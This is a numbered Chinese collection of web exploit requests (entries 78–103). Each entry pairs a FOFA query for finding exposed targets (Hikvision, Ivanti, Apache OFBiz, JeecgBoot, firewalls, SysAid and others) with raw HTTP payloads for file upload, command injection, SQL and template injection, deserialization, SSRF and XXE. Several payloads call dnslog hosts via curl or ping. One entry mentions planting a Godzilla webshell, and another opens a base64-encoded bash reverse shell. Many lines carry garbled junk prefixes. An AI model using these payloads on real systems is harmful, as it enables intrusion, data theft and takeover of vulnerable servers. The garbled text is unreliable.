Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
* b/ y) r2 N2 K" XContent-Type: application/octet-stream

% V' `4 f3 X0 Fhello1234567
2 L- _* U) c0 F7 q------------398jnjVTTlDVXHlE7yYnfwBoix
+ u7 z+ A1 d) J8 B. g6 FContent-Disposition: form-data; name="Upload"

' C9 w# l1 N% O# I1 \Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
, k0 ~+ g3 c9 j2 X8 Y  |. p* w
, N& _0 S0 _, s6 K& j
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
8 _0 j: g  v) y! \4 U$ r% dPOST /Platform/System/FileUpload.ashx HTTP/1.1
# v& t" Z# G9 y- o0 \" s5 mHost: x.x.x.x
- }& F% ^9 k8 O8 bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" \7 m' n5 f# t- N  M% UConnection: close
Content-Length: 336
+ J4 I, L  E+ m* X8 z3 M. RAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

------YsOxWxSvj1KyZow1PTsh98fdu6l
% }9 Q- U/ _" _4 c  o, `4 ^4 XContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
' }8 A8 ^/ H! O2 h------YsOxWxSvj1KyZow1PTsh98fdu6l
& t8 C$ t. V0 s: D8 `. l* MContent-Disposition: form-data; name="target"
' N) W2 Y0 f$ E+ h, N2 B
/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--

# H1 G$ V( M- x/ k+ A/ T
% b1 J3 N" g- b. b& P( u  g) QGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x
" J' W/ d$ P! L" d
. r/ g. N4 J) D1 L$ G5 k
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
6 O. |4 B8 L3 O  P0 L( R4 f" ~  BGET /goform/webRead/open/?path=|id HTTP/1.1
" w1 N& m/ b" Y5 H3 oHost:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 l* P4 c: n! l' m0 nAccept-Encoding: gzip, deflate
. N( s: S" O; ^. W4 QConnection: close
Upgrade-Insecure-Requests: 1
% U; I: x( z9 N/ W  T$ ^
' t& F2 Z3 ]% d8 G" l
, k; v" l" q9 L80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
% q1 \9 v) }- _9 ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
% p# F, j3 a" `3 o1 r0 [$ ?8 A1 z# rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( m! C, V4 Q7 T* G! n5 zAccept-Encoding: gzip, deflate
) v3 `7 d; B9 e; HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# K+ Q, Q4 R3 w, dConnection: close
Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

; B$ `5 t) h1 ~
GET /xykqmfxpoas.jsp HTTP/1.1
7 l: R9 P- u; M8 ~; s0 Y# W- O7 VHost: x.x.x.x
1 U, W- I; W& n6 q; h( ^& ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! N" `- @1 d$ J& b  zConnection: close
7 u2 m9 u& c1 \2 n( c: M1 k2 A7 UAccept-Encoding: gzip
6 u6 F! i$ C0 [; A

- e. i' R( L7 T* J$ H81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 w% h2 s( ?# r0 W; \Connection: close
$ V4 b' X( Y1 ?0 b# n8 w. f1 NAccept-Encoding: gzip
/ s9 _4 y8 O) C8 @/ e5 P5 k+ w4 i
' ^% c/ O& s" ]: [* o
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
0 ^  f; t$ I. c. P: `: i  kFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
% @  f+ d' p: A, b6 W9 X5 NHost: BaseURL
User-Agent: Go-http-client/1.1
Content-Length: 23
8 g) s1 l: k. J5 tAccept-Encoding: gzip
5 j6 i# l/ K& G5 MConnection: close
" V/ F/ \3 s/ _! l7 C/ @Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
# z8 l* c  J; [% ?8 m( g
8 C& H! Q1 q; W( y  Jz1=1&z2="|id;"&z3=bhost


83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
# p. K5 y6 j0 x! {2 d" \: T; ^2 Y5 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# v2 r& `, I& Q- I8 a  ?6 |Content-Length: 8881
- B& F  S$ C& l+ `2 L. S  y  p/ F4 ~Accept-Encoding: gzip
Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
8 ?9 i& I. R& B1 |
1 v  G- h/ V$ ePAYLOAD
/ N7 P. q+ F8 h
  t% s: l' G: A# B! U84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
, `  P6 Z( }% }0 |FOFA：title=="JeecgBoot 企业级低代码平台"

! R/ D1 @  T8 |$ J3 p1 n
1 H- H4 Z! c( N$ P1 A) w& J. s+ \
) g/ P- Y/ w& ?% R1 n% cPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
" a# }  {8 D* E, ]! ]8 V  c8 b' [Host: 192.168.40.130:8080
* Y3 p% j- v* P9 ~! iUser-Agent: curl/7.88.1
Content-Length: 156
! l. D$ L7 ?' }3 B0 vAccept: */*
* R7 T$ y; c$ N1 |) oConnection: close
Content-Type: application/json
Accept-Encoding: gzip
$ q9 H( ]# F) ~& x- K: X/ x
% H, c2 P1 l& j* x{
' i% S9 y5 D9 W0 _/ z; g "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
}


' I/ U' y: v- D! V6 p3 X& g" |. ?85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
" K- }# e9 i. DFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
2 [% r1 h1 I! q2 MPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
3 t) q4 I7 L' S% [6 mHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip

+ k. n. i/ x& p3 fPAYLOAD

' y' r/ v+ g) A, N' K5 y4 ^% r回显URL：http://x.x.x.x/userfiles/index.jsp
" [# d5 ]6 F9 m1 H
0 ~+ v  E8 ], K/ G2 `( r86. 日本tosei自助洗衣机RCE
3 j- `- ?! u2 O" g' M  X# y8 XFOFA：body="tosei_login_check.php"
, I& S1 ]# ?0 J4 p' R" LPOST /cgi-bin/network_test.php HTTP/1.1
# N5 j5 f% m* j0 s; }; ^/ pHost: x.x.x.x
7 U/ L& {. x6 y, G# h- t1 DUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
( f" Q7 r" Z* e/ @' A( IConnection: close
Content-Length: 44
Accept: */*
- _4 ]9 c+ T+ E, }$ e8 y- @1 jAccept-Encoding: gzip
' ~3 q  Y; H3 d# ^, dAccept-Language: en
Content-Type: application/x-www-form-urlencoded
. [* J/ ?3 K! R% N
/ b" L; G/ z! Q: hhost=%0acat${IFS}/etc/passwd%0a&command=ping


- Q$ \1 i8 G' ^1 x0 v6 T0 `" a, d87. 安恒明御安全网关aaa_local_web_preview文件上传
FOFA：title="明御安全网关"
+ {& L! S/ U8 g( t- }POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
' f) m$ j. B, P: q5 B, sUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 _( L/ I) o' v4 I+ x, u2 ~' g9 OConnection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
' W* r# i2 }+ c# O
--qqobiandqgawlxodfiisporjwravxtvd
3 n6 }  ~7 l6 D. o' T" f  P- {Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
# d, u; g6 A* N0 a9 I7 _2 dContent-Type: text/plain
7 p0 o+ i! Q: P' A- u
! H: X% y5 V4 V! x+ L6 ^2ZqGNnsjzzU2GBBPyd8AIA7QlDq
; V) s2 R0 j% @--qqobiandqgawlxodfiisporjwravxtvd--
; S' F8 d1 X4 u4 X" G
% ~- K1 _0 ?7 |" D% c* p
/jfhatuwe.php

" f" Z5 s/ z- G88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
6 b" }. [4 D/ q$ j. D+ L0 UFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
2 ^0 h# c8 r1 r7 XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 U0 l+ r! @! C! M. ~& vConnection: close


) g, z3 n9 i. f6 ?5 d; L/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
; p( k( N1 ^. u5 M- N+ \POST /sysform/003/editflow_manager.js%70 HTTP/1.1
& M& ?7 t1 A3 V& Y) AHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
- |0 T4 K! _4 T* e" p! ~Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
+ F; F8 f( t. }, E

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
: ?; g1 L0 [+ Y3 L+ b0 O* Y* G% jPOST /php/ping.php HTTP/1.1
5 V  u$ a. m7 xHost: x.x.x.x
4 f3 a$ I# P. ^! bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
+ S! i: F( F/ o5 tAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 h: Z5 [" ~' XConnection: close
( |. N7 r8 ]. _& _( u' x+ LContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
2 x" J6 t2 T: W3 b
jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig

' k4 u5 Z4 z# q: ~
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
$ x5 q/ y8 v2 E3 OFOFA：title="综合安防管理平台"
: R0 O: o, M( z$ ^GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
. u7 @9 }$ T2 ?: a0 m9 @/ zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
; e! J# {% r8 ~% ]Accept-Encoding: gzip, deflate
+ w, d2 ~5 x" n2 X! ZAccept: */*
6 e$ a" i/ o2 G, K: @, r  qConnection: keep-alive
' @8 }# n$ ~8 Y% f5 m9 |3 H- G% _% }
* J# H" X4 Z9 D/ b0 L6 b
8 m; I, K7 S0 m
2 e( K  {. M1 u6 G  s/ H92. 海康威视运行管理中心session命令执行
2 [! N6 C0 ~" z* p) \3 ~# \Fastjson命令执行
( e+ n! |" v2 c  Khunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
. H- X+ x) W# a# R* N+ MPOST /center/api/session HTTP/1.1
% t& l0 U+ Q' vHost:
3 L% Z$ a" F8 q; [4 V* ~Accept: application/json, text/plain, */*
! q9 z7 {, v! j4 s. x: i8 Y$ T$ uAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
" b6 M4 K, Q, {. l% SContent-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
: r' \4 W' C+ v1 w) l$ RTestcmd: echo test
! [1 N" `1 ?: XUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
" M% u, r: L3 S! S2 w  c4 v; AAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
3 T8 |$ [" a. }- L) p
PAYLOAD


93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
( B# F, w6 n' D6 e  k% v' g$ EPOST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
+ a6 x6 F9 b! x; F+ K/ iContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

- V8 @6 D. O& M------WebKitFormBoundarykcbkgdfx
) Q4 b6 V; }2 X4 \' n0 G) XContent-Disposition: form-data; name="MAX_FILE_SIZE"

; S1 U6 Z: D7 M, Q: J4 K1 `10000000
------WebKitFormBoundarykcbkgdfx
2 Z6 \0 ?1 _+ w0 F* Y4 x; r% V2 N5 dContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
( w( i2 q' k4 e$ R/ z& ~+ A3 |5 [Content-Disposition: form-data; name="submit_post"

- G0 Q. {$ E6 wobj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
- V8 G+ G$ n7 m
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
9 @* W9 J5 `- ?$ x
. @+ o- w: J. N0 B  ~9 N# Y, E9 D
GET /attachements/xlskxknxa.txt HTTP/1.1
; Y$ d& B; L( ]8 |Host: xx.xx.xx.xx
1 O1 L' w8 ~# x+ tUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

+ p7 c2 h/ L: g9 @6 Z; C2 E  A# Z
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
4 h" D& H) w- c% ~8 s# @FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
! [* [; ]1 C: w, M; L1 Q, V, B7 IContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
9 _; D* N( J. E% r3 n/ ?Content-Type: text/plain

  `+ I. V: j# d2 r* Lpxplitttsrjnyoafavcajwkvhxindhmu
+ Z2 x6 s( ]9 \- a/ A9 h8 v0 y------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
+ ~( g( x7 W5 t5 c% B: W% n9 k
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"

0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--



5 y! K' y% O2 r5 g5 n: vGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36



1 q) s1 y2 t, H$ R95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
* d( a7 z) ]7 l  P6 yCVE-2023-49070
FOFA：app="Apache_OFBiz"
7 ^: J& I, C4 D" m, Z* fPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
# L& D. z4 a1 Y
<?xml version="1.0"?>
<methodCall>
, ^+ r8 w# c1 l/ v* W   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
! N+ y- R# M: Q, R  G      <param>
      <value>
        <struct>
! J5 I9 h$ y; i( b, l4 O' g       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
4 x% y& K* L5 F* y+ k9 s! ]7 \* O          </value>
$ ]7 Y: f7 d3 T7 [8 ~! l2 s        </member>
2 P' y; x' r# p9 v7 F0 h* H* V      </struct>
. }6 w, g) J3 f% Q9 u      </value>
    </param>
    </params>
</methodCall>
- c, E+ o7 o  j5 Q

用ysoserial生成payload
2 `. h4 Z; z1 L& ojava -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
! B& H) r4 _4 O: d0 L3 d; z

) ?3 |1 y4 g7 Y3 V' Q将生成的payload替换到上面的POC
* p+ ^& g4 S1 p) Q( N  L, y: _7 M" bPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
# f2 E" i3 r, s6 r7 `; MUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" y- h3 @# W* ~: IContent-Length: 889
" P! Q3 b% |8 `Content-Type: application/xml
Accept-Encoding: gzip

PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
6 b' ?8 y  _, L+ iFOFA：app="Apache_OFBiz"
7 q8 c- W( K  @4 c2 gPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
& ~& E  M! n; N$ Q0 LHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
' h, f. L! \/ w% `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- z$ p/ ^$ X- i' \: s* LContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
9 H. }& A3 |( ]8 T) [; ^# A
: _, ~0 }8 Y! o3 _% l
8 L- |' I; f: G2 q& B反弹shell
) E  D# g0 B8 o; s3 V8 d在kali上启动一个监听
nc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
; e9 _0 U/ F" s! h0 B* L# s# RHost: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
9 ^$ w0 @: n- E5 V1 |" J+ KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! {5 c/ Q1 r, k1 D6 ?/ _; b1 z5 fContent-Type: application/x-www-form-urlencoded
/ h  b) ^: p0 \3 {# E3 JContent-Length: 71
" S$ Y/ q8 s" \0 }; v9 P" V2 O& y, N
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
' x+ B4 Q2 W7 b5 K% v( I( @GET /passport/login/ HTTP/1.1
Host: 192.168.40.130:8085
3 g  h2 J1 L2 W7 \2 u% tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 Q: ^* x0 E% n4 `5 B# F% S: HAccept-Encoding: gzip
* O) {( C! Z$ _! Y* eConnection: close
Cookie: rememberMe=PAYLOAD
$ g2 z* t8 v; }. g5 MX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
( i/ I$ c1 [) ]5 ?6 ^
+ O/ f% p1 \9 g8 p- b" O
98. SpiderFlow爬虫平台远程命令执行
9 m5 Z3 T. g9 p3 ?5 Z; N$ {CVE-2024-0195
/ v  ]  p3 \. S% X9 u0 g8 {' o, jFOFA：app="SpiderFlow"
) T% h0 V6 ]3 S. `, T% `2 _) QPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
3 ]5 b. N' [8 c$ a5 c9 ^User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
& Y6 d, T& J2 b) O0 G! X4 WContent-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! c: x! i2 b+ D) yContent-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

- Q# Z1 g2 c5 T% A& B0 a$ @6 ]id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B

  [$ y8 X0 W7 w
6 u) Y9 B0 h' H7 D# @- h/ A99. Ncast盈可视高清智能录播系统busiFacade RCE
5 `5 A: {6 ]" G5 \CVE-2024-0305
8 u8 X% y7 X4 e  p( @6 h. _3 {  gFOFA：app="Ncast-产品" && title=="高清智能录播系统"
* i6 m5 e# W' v$ y8 U% F3 c" YPOST /classes/common/busiFacade.php HTTP/1.1
& [& v. ~8 K" g& u0 ^Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
# i) _6 h0 m, H- r7 s: }$ q9 n- ?Accept: */*
Accept-Encoding: gzip, deflate
5 E3 {1 K, a3 R' z. M( c: ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
3 S2 P& ~! w4 _/ k; d. h% p" p* I! u) jContent-Type: application/x-www-form-urlencoded; charset=UTF-8
( t' I8 O& V  i$ t" kX-Requested-With: XMLHttpRequest
2 ^- N' h# g2 m( i) R) I
7 Q( A) _! e3 y5 `) ?- R) i%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


7 _- ]  G3 ]- O100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
FOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
) b1 g) i( k1 l) x9 mHost: 192.168.40.130
, l4 X% v5 z: n( P3 JUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
% f8 F1 f$ c- i3 p( wContent-Length: 201
, Q- t/ R. b* [; N! }( T  [7 AContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
. w( z& r6 G1 D
------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
! V) t: R' h$ o- wContent-Type: application/x-php

2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--

! I/ _: \" x4 Y" q0 e+ P
101. ivanti policy secure-22.6命令注入
; e$ C$ u8 o5 y! ^CVE-2024-21887
7 q% `  t& Q8 Q/ S3 NFOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
7 Y: C$ }0 [6 mHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ w$ R3 _4 N- wConnection: close
Accept-Encoding: gzip
! K, P) w- n: B2 G) q
# n% K! d+ R6 B! D" |
102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
! Z  R0 h/ E9 WFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
+ r4 k& N+ l, ~3 h# }  NContent-Length: 792
Accept-Encoding: gzip
5 E1 `5 D- u6 \0 r& Z# A' f7 C* H
4 S0 s3 w  O  L5 a% c; y<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
- n: n* P! ^: d  R9 w) z
103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
9 A( Q3 K; }  i. B# }0 eFOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
1 @; ?9 Q) z: h5 [8 K; ^Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
. f+ k8 s( a0 Q  a% eConnection: close
7 y9 C1 m  X: K% e/ v3 PContent-Length: 204
Content-Type: application/x-www-form-urlencoded
" r5 v8 z) J  f5 C* wAccept-Encoding: gzip

SAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==

1 D; a& ?% E4 z+ {
